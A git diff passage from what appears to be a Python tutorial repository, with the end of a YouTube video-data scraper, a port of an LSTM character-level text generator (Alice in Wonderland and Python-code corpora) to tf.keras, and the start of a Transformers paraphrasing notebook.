+    result['views'] = int(soup.find("div", attrs={"class": "watch-view-count"}).text[:-6].replace(",", ""))
+    # video description
+    result['description'] = soup.find("p", attrs={"id": "eow-description"}).text
+    # date published
+    result['date_published'] = soup.find("strong", attrs={"class": "watch-time-text"}).text
+    # number of likes as integer
+    result['likes'] = int(soup.find("button", attrs={"title": "I like this"}).text.replace(",", ""))
+    # number of dislikes as integer
+    result['dislikes'] = int(soup.find("button", attrs={"title": "I dislike this"}).text.replace(",", ""))
+    # channel details
+    channel_tag = soup.find("div", attrs={"class": "yt-user-info"}).find("a")
+    # channel name
+    channel_name = channel_tag.text
+    # channel URL
+    channel_url = f"https://www.youtube.com{channel_tag['href']}"
+    # number of subscribers as str
+    channel_subscribers = soup.find("span", attrs={"class": "yt-subscriber-count"}).text.strip()
+    result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers}
+    return result
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="YouTube Video Data Extractor")
+    parser.add_argument("url", help="URL of the YouTube video")
+
+    args = parser.parse_args()
+    # parse the video URL from command line
+    url = args.url
+    
+    data = get_video_info(url)
+
+    # print in nice format
+    print(f"Title: {data['title']}")
+    print(f"Views: {data['views']}")
+    print(f"\nDescription: {data['description']}\n")
+    print(data['date_published'])
+    print(f"Likes: {data['likes']}")
+    print(f"Dislikes: {data['dislikes']}")
+    print(f"\nChannel Name: {data['channel']['name']}")
+    print(f"Channel URL: {data['channel']['url']}")
+    print(f"Channel Subscribers: {data['channel']['subscribers']}")
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/generate.py b/machine-learning/nlp/text-generator/generate.py
index 0db93fe7..a1ef66fa 100644
--- a/machine-learning/nlp/text-generator/generate.py
+++ b/machine-learning/nlp/text-generator/generate.py
@@ -1,58 +1,41 @@
 import numpy as np
 import pickle
 import tqdm
-from keras.models import Sequential
-from keras.layers import Dense, LSTM, Dropout, Activation
-from keras.callbacks import ModelCheckpoint
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, LSTM, Dropout, Activation
+import os
 
-
-
-message = """
-Please choose which model you want to generate text with:
-1 - Alice's wonderland
-2 - Python Code
-"""
-choice = int(input(message))
-assert choice == 1 or choice == 2
-
-if choice == 1:
-    char2int = pickle.load(open("data/wonderland-char2int.pickle", "rb"))
-    int2char = pickle.load(open("data/wonderland-int2char.pickle", "rb"))
-elif choice == 2:
-    char2int = pickle.load(open("data/python-char2int.pickle", "rb"))
-    int2char = pickle.load(open("data/python-int2char.pickle", "rb"))
+sequence_length = 100
+# dataset file path
+FILE_PATH = "data/wonderland.txt"
+# FILE_PATH = "data/python_code.py"
+BASENAME = os.path.basename(FILE_PATH)
+# load vocab dictionaries
+char2int = pickle.load(open(f"{BASENAME}-char2int.pickle", "rb"))
+int2char = pickle.load(open(f"{BASENAME}-int2char.pickle", "rb"))
 
 sequence_length = 100
-n_unique_chars = len(char2int)
+vocab_size = len(char2int)
 
 # building the model
 model = Sequential([
-    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    LSTM(256, input_shape=(sequence_length, vocab_size), return_sequences=True),
     Dropout(0.3),
     LSTM(256),
-    Dense(n_unique_chars, activation="softmax"),
+    Dense(vocab_size, activation="softmax"),
 ])
 
-if choice == 1:
-    model.load_weights("results/wonderland-v2-0.75.h5")
-elif choice == 2:
-    model.load_weights("results/python-v2-0.30.h5")
-
-seed = ""
-print("Enter the seed, enter q to quit, maximum 100 characters:")
-while True:
-    result = input("")
-    if result.lower() == "q":
-        break
-    seed += f"{result}\n"
-seed = seed.lower()
-n_chars = int(input("Enter number of characters you want to generate: "))
-
+# load the optimal weights
+model.load_weights(f"results/{BASENAME}-{sequence_length}.h5")
+# specify the feed to first characters to generate
+seed = "alice is pretty"
+s = seed
+n_chars = 400
 # generate 400 characters
 generated = ""
 for i in tqdm.tqdm(range(n_chars), "Generating text"):
     # make the input sequence
-    X = np.zeros((1, sequence_length, n_unique_chars))
+    X = np.zeros((1, sequence_length, vocab_size))
     for t, char in enumerate(seed):
         X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1
     # predict the next character
@@ -66,5 +49,6 @@
     # shift seed and the predicted character
     seed = seed[1:] + next_char
 
+print("Seed:", s)
 print("Generated text:")
 print(generated)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/requirements.txt b/machine-learning/nlp/text-generator/requirements.txt
index bf567bac..2292109e 100644
--- a/machine-learning/nlp/text-generator/requirements.txt
+++ b/machine-learning/nlp/text-generator/requirements.txt
@@ -1,4 +1,4 @@
 numpy
-tensorflow==1.15.2
-keras
-requests
\ No newline at end of file
+tensorflow==2.5.3
+requests
+tqdm
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/text-generator-v2.ipynb b/machine-learning/nlp/text-generator/text-generator-v2.ipynb
new file mode 100644
index 00000000..ee7da190
--- /dev/null
+++ b/machine-learning/nlp/text-generator/text-generator-v2.ipynb
@@ -0,0 +1,300 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "import tensorflow as tf\r\n",
+    "import numpy as np\r\n",
+    "import os\r\n",
+    "import pickle\r\n",
+    "\r\n",
+    "SEQUENCE_LENGTH = 50\r\n",
+    "EMBEDDING_DIM = 200\r\n",
+    "BATCH_SIZE = 128\r\n",
+    "FILE_PATH = \"data/python_code.py\"\r\n",
+    "BASENAME = os.path.basename(FILE_PATH) + \"-lower\"\r\n",
+    "\r\n",
+    "text = open(FILE_PATH).read()\r\n",
+    "# comment this if you want to use uppercase letters\r\n",
+    "text = text.lower()\r\n",
+    "n_chars = len(text)\r\n",
+    "vocab = ''.join(sorted(set(text)))\r\n",
+    "print(\"vocab:\", vocab)\r\n",
+    "n_unique_chars = len(vocab)\r\n",
+    "print(\"Number of characters:\", n_chars)\r\n",
+    "print(\"Number of unique characters:\", n_unique_chars)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "# dictionary that converts characters to integers\r\n",
+    "char2int = {c: i for i, c in enumerate(vocab)}\r\n",
+    "# dictionary that converts integers to characters\r\n",
+    "int2char = {i: c for i, c in enumerate(vocab)}\r\n",
+    "\r\n",
+    "# save these dictionaries for later generation\r\n",
+    "pickle.dump(char2int, open(f\"{BASENAME}-char2int.pickle\", \"wb\"))\r\n",
+    "pickle.dump(int2char, open(f\"{BASENAME}-int2char.pickle\", \"wb\"))"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "encoded_text = np.array([char2int[c] for c in text])"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text)\r\n",
+    "for element in char_dataset.take(5):\r\n",
+    "    print(element.numpy())"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "for element in char_dataset.batch(SEQUENCE_LENGTH+1).shuffle(1024).take(2):\r\n",
+    "    print(''.join([int2char[c] for c in element.numpy()]))"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "#help(tf.one_hot)\r\n",
+    "#help(char_dataset.window)\r\n",
+    "windows = char_dataset.window(SEQUENCE_LENGTH+1, shift=1, drop_remainder=True)\r\n",
+    "sequences = windows.flat_map(lambda window: window.batch(SEQUENCE_LENGTH+1))\r\n",
+    "dataset = sequences.map(lambda x: (x[:-1], x[-1]))\r\n",
+    "for input_, target in dataset.take(10):\r\n",
+    "    print(input_.numpy().shape)\r\n",
+    "    print(target.numpy().shape)\r\n",
+    "    print(''.join([int2char[c] for c in input_.numpy()]), int2char[target.numpy()])\r\n",
+    "    print(\"=\"*50)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "sequences2 = char_dataset.batch(2*SEQUENCE_LENGTH+1, drop_remainder=True)\r\n",
+    "\r\n",
+    "def split_sample(sample):\r\n",
+    "    ds = tf.data.Dataset.from_tensors((sample[:SEQUENCE_LENGTH], sample[SEQUENCE_LENGTH]))\r\n",
+    "    for i in range(1, (len(sample)-1) // 2):\r\n",
+    "        input_ = sample[i:i+SEQUENCE_LENGTH]\r\n",
+    "        target = sample[i+SEQUENCE_LENGTH]\r\n",
+    "        other_ds = tf.data.Dataset.from_tensors((input_, target))\r\n",
+    "        ds = ds.concatenate(other_ds)\r\n",
+    "    return ds\r\n",
+    "\r\n",
+    "\r\n",
+    "dataset2 = sequences2.flat_map(split_sample)\r\n",
+    "for element in dataset2.take(10):\r\n",
+    "    print(element[0].shape, element[1].shape)\r\n",
+    "    print(''.join([int2char[c] for c in element[0].numpy()]), int2char[element[1].numpy()])"
+   ],
+   "outputs": [],
+   "metadata": {
+    "tags": [
+     "outputPrepend",
+     "outputPrepend",
+     "outputPrepend",
+     "outputPrepend"
+    ]
+   }
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "for element1, element2 in zip(dataset.take(5), dataset2.take(5)):\r\n",
+    "    print(element1[0].numpy() == element2[0].numpy())\r\n",
+    "    "
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "def one_hot_samples(input_, target):\r\n",
+    "    return tf.one_hot(input_, len(vocab)), tf.one_hot(target, len(vocab))\r\n",
+    "#     return input_, tf.one_hot(target, len(vocab))\r\n",
+    "\r\n",
+    "dataset = dataset.map(one_hot_samples)\r\n",
+    "dataset2 = dataset2.map(one_hot_samples)\r\n",
+    "for element in dataset.take(10):\r\n",
+    "    print(element[0].shape, element[1].shape)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "ds = dataset.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()\r\n",
+    "ds2 = dataset2.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "def create_model(vocab_size, embedding_dim, rnn_units, batch_size):\r\n",
+    "    model = tf.keras.Sequential()\r\n",
+    "    # model.add(tf.keras.layers.Embedding(vocab_size, embedding_dim, input_shape=(SEQUENCE_LENGTH,)))\r\n",
+    "    model.add(tf.keras.layers.LSTM(rnn_units, input_shape=(SEQUENCE_LENGTH, len(vocab)), return_sequences=True))\r\n",
+    "    model.add(tf.keras.layers.Dropout(0.3))\r\n",
+    "    model.add(tf.keras.layers.LSTM(rnn_units)),\r\n",
+    "    model.add(tf.keras.layers.Dropout(0.3))\r\n",
+    "    model.add(tf.keras.layers.Dense(vocab_size, activation=\"softmax\"))\r\n",
+    "    return model"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "model = create_model(len(vocab), embedding_dim=EMBEDDING_DIM, rnn_units=128, batch_size=BATCH_SIZE)\r\n",
+    "model.summary()\r\n",
+    "model.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "EPOCHS = 5\r\n",
+    "history = model.fit(ds2, steps_per_epoch=(len(encoded_text) - SEQUENCE_LENGTH ) // BATCH_SIZE, epochs=EPOCHS)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "# save the model\r\n",
+    "model_path = f\"results/{BASENAME}-{SEQUENCE_LENGTH}-NOEMBEDDING-moredata.h5\"\r\n",
+    "model.save(model_path)\r\n",
+    "# model.load_weights(model_path)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "seed = \"\"\"You can be a\"\"\".lower()\r\n",
+    "s = seed\r\n",
+    "# generate 400 characters\r\n",
+    "generated = \"\"\r\n",
+    "for i in range(200):\r\n",
+    "    # make the input sequence\r\n",
+    "    X = np.zeros((1, SEQUENCE_LENGTH, len(vocab)))\r\n",
+    "    # X = np.zeros((1, SEQUENCE_LENGTH))\r\n",
+    "    for t, char in enumerate(seed):\r\n",
+    "        X[0, (SEQUENCE_LENGTH - len(seed)) + t, char2int[char]] = 1\r\n",
+    "    # predict the next character\r\n",
+    "    predicted = model.predict(X, verbose=0)[0]\r\n",
+    "    # print(predicted)\r\n",
+    "    # converting the vector to an integer\r\n",
+    "    next_index = np.argmax(predicted)\r\n",
+    "#     next_index = np.squeeze(np.round(predicted))\r\n",
+    "    # converting the integer to a character\r\n",
+    "#     print(next_index)\r\n",
+    "    next_char = int2char[next_index]\r\n",
+    "    # add the character to results\r\n",
+    "    generated += next_char\r\n",
+    "    # shift seed and the predicted character\r\n",
+    "    seed = seed[1:] + next_char\r\n",
+    "\r\n",
+    "print(\"Generated text:\")\r\n",
+    "print(s + generated)"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [
+    "char2int\r\n"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "source": [],
+   "outputs": [],
+   "metadata": {}
+  }
+ ],
+ "metadata": {
+  "file_extension": ".py",
+  "kernelspec": {
+   "name": "python3",
+   "display_name": "Python 3.8.7 64-bit"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.8.7"
+  },
+  "mimetype": "text/x-python",
+  "name": "python",
+  "npconvert_exporter": "python",
+  "pygments_lexer": "ipython3",
+  "version": 3,
+  "interpreter": {
+   "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 4
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/train.py b/machine-learning/nlp/text-generator/train.py
index e2f1e468..940e93d5 100644
--- a/machine-learning/nlp/text-generator/train.py
+++ b/machine-learning/nlp/text-generator/train.py
@@ -1,62 +1,103 @@
+import tensorflow as tf
 import numpy as np
 import os
 import pickle
-from keras.models import Sequential
-from keras.layers import Dense, LSTM, Dropout
-from keras.callbacks import ModelCheckpoint
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, LSTM, Dropout
+from tensorflow.keras.callbacks import ModelCheckpoint
 from string import punctuation
 
+sequence_length = 100
+BATCH_SIZE = 128
+EPOCHS = 3
+# dataset file path
+FILE_PATH = "data/wonderland.txt"
+# FILE_PATH = "data/python_code.py"
+BASENAME = os.path.basename(FILE_PATH)
+
 # commented because already downloaded
 # import requests
 # content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text
 # open("data/wonderland.txt", "w", encoding="utf-8").write(content)
 
 # read the data
-text = open("data/wonderland.txt", encoding="utf-8").read()
-# remove caps
+text = open(FILE_PATH, encoding="utf-8").read()
+# remove caps, comment this code if you want uppercase characters as well
 text = text.lower()
 # remove punctuation
 text = text.translate(str.maketrans("", "", punctuation))
 # print some stats
 n_chars = len(text)
-unique_chars = ''.join(sorted(set(text)))
-print("unique_chars:", unique_chars)
-n_unique_chars = len(unique_chars)
+vocab = ''.join(sorted(set(text)))
+print("unique_chars:", vocab)
+n_unique_chars = len(vocab)
 print("Number of characters:", n_chars)
 print("Number of unique characters:", n_unique_chars)
 
 # dictionary that converts characters to integers
-char2int = {c: i for i, c in enumerate(unique_chars)}
+char2int = {c: i for i, c in enumerate(vocab)}
 # dictionary that converts integers to characters
-int2char = {i: c for i, c in enumerate(unique_chars)}
+int2char = {i: c for i, c in enumerate(vocab)}
 
 # save these dictionaries for later generation
-pickle.dump(char2int, open("wonderland-char2int.pickle", "wb"))
-pickle.dump(int2char, open("wonderland-int2char.pickle", "wb"))
-
-# hyper parameters
-sequence_length = 100
-step = 1
-batch_size = 128
-epochs = 40
-
-sentences = []
-y_train = []
-for i in range(0, len(text) - sequence_length, step):
-    sentences.append(text[i: i + sequence_length])
-    y_train.append(text[i+sequence_length])
-print("Number of sentences:", len(sentences))
-
-# vectorization
-X = np.zeros((len(sentences), sequence_length, n_unique_chars))
-y = np.zeros((len(sentences), n_unique_chars))
-
-for i, sentence in enumerate(sentences):
-    for t, char in enumerate(sentence):
-        X[i, t, char2int[char]] = 1
-        y[i, char2int[y_train[i]]] = 1
-
-print("X.shape:", X.shape)
+pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb"))
+pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb"))
+
+# convert all text into integers
+encoded_text = np.array([char2int[c] for c in text])
+# construct tf.data.Dataset object
+char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text)
+# print first 5 characters
+for char in char_dataset.take(8):
+    print(char.numpy(), int2char[char.numpy()])
+
+# build sequences by batching
+sequences = char_dataset.batch(2*sequence_length + 1, drop_remainder=True)
+
+# print sequences
+for sequence in sequences.take(2):
+    print(''.join([int2char[i] for i in sequence.numpy()]))
+
+def split_sample(sample):
+    # example :
+    # sequence_length is 10
+    # sample is "python is a great pro" (21 length)
+    # ds will equal to ('python is ', 'a') encoded as integers
+    ds = tf.data.Dataset.from_tensors((sample[:sequence_length], sample[sequence_length]))
+    for i in range(1, (len(sample)-1) // 2):
+        # first (input_, target) will be ('ython is a', ' ')
+        # second (input_, target) will be ('thon is a ', 'g')
+        # third (input_, target) will be ('hon is a g', 'r')
+        # and so on
+        input_ = sample[i: i+sequence_length]
+        target = sample[i+sequence_length]
+        # extend the dataset with these samples by concatenate() method
+        other_ds = tf.data.Dataset.from_tensors((input_, target))
+        ds = ds.concatenate(other_ds)
+    return ds
+
+# prepare inputs and targets
+dataset = sequences.flat_map(split_sample)
+
+def one_hot_samples(input_, target):
+    # onehot encode the inputs and the targets
+    # Example:
+    # if character 'd' is encoded as 3 and n_unique_chars = 5
+    # result should be the vector: [0, 0, 0, 1, 0], since 'd' is the 4th character
+    return tf.one_hot(input_, n_unique_chars), tf.one_hot(target, n_unique_chars)
+
+
+dataset = dataset.map(one_hot_samples)
+# print first 2 samples
+for element in dataset.take(2):
+    print("Input:", ''.join([int2char[np.argmax(char_vector)] for char_vector in element[0].numpy()]))
+    print("Target:", int2char[np.argmax(element[1].numpy())])
+    print("Input shape:", element[0].shape)
+    print("Target shape:", element[1].shape)
+    print("="*50, "\n")
+
+# repeat, shuffle and batch the dataset
+ds = dataset.repeat().shuffle(1024).batch(BATCH_SIZE, drop_remainder=True)
 
 # building the model
 # model = Sequential([
@@ -72,7 +113,10 @@
     Dense(n_unique_chars, activation="softmax"),
 ])
 
-# model.load_weights("results/wonderland-v2-2.48.h5")
+# define the model path
+model_weights_path = f"results/{BASENAME}-{sequence_length}.h5"
+# if os.path.isfile(model_weights_path):
+#     model.load_weights(model_weights_path)
 
 model.summary()
 model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
@@ -80,7 +124,9 @@
 if not os.path.isdir("results"):
     os.mkdir("results")
 
-checkpoint = ModelCheckpoint("results/wonderland-v2-{loss:.2f}.h5", verbose=1)
+# checkpoint = ModelCheckpoint("results/{}-{loss:.2f}.h5".format(BASENAME), verbose=1)
 
 # train the model
-model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint])
+model.fit(ds, steps_per_epoch=(len(encoded_text) - sequence_length) // BATCH_SIZE, epochs=EPOCHS)
+# save the model
+model.save(model_weights_path)
diff --git a/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb
new file mode 100644
index 00000000..55d76df0
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb
@@ -0,0 +1,14011 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "pzM7aw7wwXX3",
+        "outputId": "f51a6e74-ac21-40fd-fe0f-f31141bc2243"
+      },
+      "outputs": [],
+      "source": [
+        "# !pip install transformers sentencepiece"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ISeIFTv3wbBP"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import *"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "iCFD-rjqm8Mm"
+      },
+      "outputs": [],
+      "source": [
+        "# models we gonna use for this tutorial\n",
+        "model_names = [\n",
+        "  \"tuner007/pegasus_paraphrase\",\n",
+        "  \"Vamsi/T5_Paraphrase_Paws\",\n",
+        "  \"prithivida/parrot_paraphraser_on_T5\", # Parrot\n",
+        "]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 177,
+          "referenced_widgets": [
+            "302122ed60be403f8de83d16bb131f01",
+            "40ca3bd66a3b4a82b3060093f6b30118",
+            "c6e08dd8a8e9405cbef61c10dbb6c8dc",
+            "08927ca870534d02b930900d968c8477",
+            "e031e1ff28e744ec9f9308adbdb7f549",
+            "936ea713a4ea4682a80cc8e7550739ef",
+            "8941da5787534cabbc219811e47fbc15",
+            "a0791b7ccc8c472595f1019ea9ab5d88",
+            "1f77de9e162c43baa6782c73337d79ad",
+            "3d72fd07e34240fc805e7ff8e7e8e7ed",
+            "714869341c534ce5be22daaff1cceeae",
+            "c3ae604a69604f72a1b22e9106540080",
+            "1afd91a1d8eb4919beefdac3152f401e",
+            "818c3e0ab3d9498b98cc26e6df006d6a",
+            "06bb057f22154f0faebcda40b2dbc861",
+            "c69a399a0e9f4abc87fdd9959207a88c",
+            "1b0de92860e644fb83012a514582cfea",
+            "4da8a932547e478d84acaf52903bed78",
+            "8ce1788263004e0193b23589deceb38b",
+            "44a243ebf5a2403a8afc5a0c3b316f1c",
+            "1e3948ee96d3497f8edf9d8b19263335",
+            "5431f4b36a0346d3b472ea0fe20dd48d",
+            "3fafe8d5bf584c918ac533ebf29336fe",
+            "fce256df4e284320a14e55052d7cdf6e",
+            "bb1e640a31364eacbe0da6c4ecffa2b4",
+            "f3487f34f7c146f1b3553481f2a34fa5",
+            "26c426ba73e0459cb6a68df6405a5cfd",
+            "5776ff420e874506b40b74b21b0232e3",
+            "ba6aad62b55a421a891c6a986dad7dac",
+            "93346ba6351145f0a7bf161647c8a08f",
+            "00ba17e28d8947059dfe5b944b11006a",
+            "9c0e317ac1254781846618317ebcae0e",
+            "0c52a46d3d4c484b9e7d8801a0c79950",
+            "9b3e01492a714b69ad3ffe97f89950f8",
+            "ef545b9f69a545b4a76006a5f91a69e8",
+            "7b1e006a345c48368a5fe099e118112d",
+            "98145c54bcc24164b30c72aa3b7a6e1c",
+            "9dd1a8e112414ca6976b8b5028982574",
+            "7b01a3409bad435fbdd470ddd18267d5",
+            "08c45bf115b6472e9a6ccbad35ae965f",
+            "1ad6f7c8092945af9d0807c103615e23",
+            "3d98791950bb488fad7c3e6b5c509741",
+            "186e5d787132428b9fd34eaff9c38520",
+            "89b9666f0324479aaa0d9da395c27c16",
+            "9347ab21cab04cc8a2bffb068aef51a6",
+            "e052caaf34424ae994cc821acd0a5e54",
+            "8397c4fa95df4873821d74775b19a153",
+            "fb8198f88f6a43dbb5d39ec5f353b1af",
+            "7b9925f38cf149af8fd811f7442d2ae4",
+            "88555be021d34bcba415e817b9642a5a",
+            "745e710bf1c240ff995a9f3df04295f0",
+            "03c01714ba8e4993a24e5e55ec26fd9c",
+            "486d6ccb92c84634880426d661b6753c",
+            "ca6c01cae2dd400889111363264abd23",
+            "b7c0fece997647219a30119d742d3751"
+          ]
+        },
+        "id": "PgrQWA_2whqN",
+        "outputId": "54cf6210-d69c-4cc4-a947-261d863568db"
+      },
+      "outputs": [],
+      "source": [
+        "model = PegasusForConditionalGeneration.from_pretrained(\"tuner007/pegasus_paraphrase\")\n",
+        "tokenizer = PegasusTokenizerFast.from_pretrained(\"tuner007/pegasus_paraphrase\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "hPtX7UCfys__"
+      },
+      "outputs": [],
+      "source": [
+        "def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5):\n",
+        "  # tokenize the text to be form of a list of token IDs\n",
+        "  inputs = tokenizer([sentence], truncation=True, padding=\"longest\", return_tensors=\"pt\")\n",
+        "  # generate the paraphrased sentences\n",
+        "  outputs = model.generate(\n",
+        "    **inputs,\n",
+        "    num_beams=num_beams,\n",
+        "    num_return_sequences=num_return_sequences,\n",
+        "  )\n",
+        "  # decode the generated sentences using the tokenizer to get them back to text\n",
+        "  return tokenizer.batch_decode(outputs, skip_special_tokens=True)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "9hG1HJR3Gb0Q"
+      },
+      "outputs": [],
+      "source": [
+        "sentence = \"Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences.\""
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "6P2tbSy4zdZk",
+        "outputId": "517c81c8-b7f0-459a-aab7-475212f6f26d"
+      },
+      "outputs": [],
+      "source": [
+        "get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "4amSI3uw7RlT",
+        "outputId": "399326f7-0020-4848-dc9b-4950037351bf"
+      },
+      "outputs": [],
+      "source": [
+        "get_paraphrased_sentences(model, tokenizer, \"To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.\", num_beams=10, num_return_sequences=10)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 177,
+          "referenced_widgets": [
+            "5d248bc4b414420a94a8d630905dfb15",
+            "d00f7d49a149490492e99ee3f08e21df",
+            "55a469cc6e524c8ba443e5b5bcf8ff90",
+            "629521b4d8f34562ac4c082b9d65676f",
+            "2550e8fc207c43cfa401df39788831cd",
+            "47d684cd4d554167bf7d8f6aa3f47bfe",
+            "29066cc1abd4414eb39588c1f7bbe0ae",
+            "a9a6e1ad7ccc4254bef64aa3dd96a055",
+            "7f09134d6a83402986fc8bd9de27943c",
+            "17dbf7cc0a704e8c880a91a55d8105c9",
+            "f96aeeb5ad754b4daa55e1936d213dc9",
+            "c1698970dc0846ca854737c88304e36d",
+            "2a83fad0067443fca1757913d4de86fc",
+            "3ceb4f5d14f548bfab70b1c9917b8010",
+            "a139333e180747e1abdc3d4c4602c198",
+            "73a0fdfb6ade4e1995a70237bfc7bc65",
+            "b5f39651a9d8485a8d56f6b04b49d12e",
+            "d5f005198c8440ca8d0c8c7de51e9b56",
+            "1de3ba7448d84e6f9db219dae03e4e52",
+            "b3f2482c12b34af7819883a536fbcb02",
+            "74c1cab772204a97a3c0618e30fe57ec",
+            "f05ba606de8a41cd9a62ae3fba0b9982",
+            "650c369ee9e148938901a200fc552015",
+            "443419a42dea495281d203876cac6ba5",
+            "a09f4245b86c462c96ab6ccab5c15a3e",
+            "3e841b3ce0d346b3935f1f98aab4b2c2",
+            "cb67c30a0e17426dbabfd0b8203b68e1",
+            "7c64ea6969164119a63abd6a614e2a80",
+            "2fe7d333556643a6b7aa3e7b3d23ad2f",
+            "9ad78b27bc1c493aa4e9d5ad668ecc24",
+            "81f0403d83cb4bf4bf79999e1996d72f",
+            "6bad3d658e444fca828a0ab58a784fa9",
+            "0004381798fc4521b4ae4ef6feeba2f6",
+            "d53fad57d55d4f7b84c71fe1cb0ebf8c",
+            "76e52975e43d4c268947578f56fc4d0b",
+            "37c54f873ad8469fbd8983bf737bc9ab",
+            "aab03d06ea014e9193c1a93f00f338bd",
+            "792402d8bd874d04a94642473184a8e4",
+            "762d0a8e81a54917801dd02e8245b240",
+            "8743562ab5574578911cf006f47da8ea",
+            "9c41ab118fd441e8b7880e1ae9db6f63",
+            "c70a51913db4444c91322ae8fd957d83",
+            "44b5e5229d0345ddb87042cc3e18133c",
+            "bf2122c4a29d44a9ac2f64c4b76c0f60",
+            "f61de8d92b4e4d4cb369c969795589ef",
+            "a6e827f8673442af89429049b1e72075",
+            "56ea107f274f4113b8bf57bec9f52495",
+            "47241502eb7e42f3aecffade97501a43",
+            "a12ac053391d4300a6eacfd70e07fa09",
+            "5ad17d5f499e4367874c55d59e038daf",
+            "01f1934240884fdca4b258da9162eea8",
+            "6377cea1fe8d40d3ae4404eac41225ee",
+            "d83730c26b964173ad265cf354e2e599",
